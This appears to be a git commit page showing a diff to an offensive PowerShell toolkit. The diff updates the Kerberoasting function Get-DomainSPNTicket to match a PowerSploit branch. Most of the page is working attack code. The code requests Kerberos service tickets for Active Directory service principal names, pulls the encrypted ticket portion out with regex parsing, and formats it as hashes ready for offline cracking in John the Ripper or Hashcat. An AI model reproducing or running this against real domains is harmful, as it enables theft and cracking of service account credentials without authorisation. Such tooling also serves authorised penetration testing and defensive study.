Updated kerberoast source to match powersploit dev branch

readme-wiki
xorrior 2017-12-29 14:55:25 -05:00
parent c1be55709f
commit 1887889920
1 changed files with 75 additions and 28 deletions

View File

@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of John).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
$Parts.RemoveAt($Parts.Count - 1)
$Hash = $Parts -join 'A48201'
$Hash = $Hash.Insert(32, '$')
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
#Prints the PS Object
#Write-Output $Out
#Prints just the hashes
Write-Output $HashFormat
Write-Output $Out
}
}
}
@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
}
}
}
function Get-DomainUser {
<#
.SYNOPSIS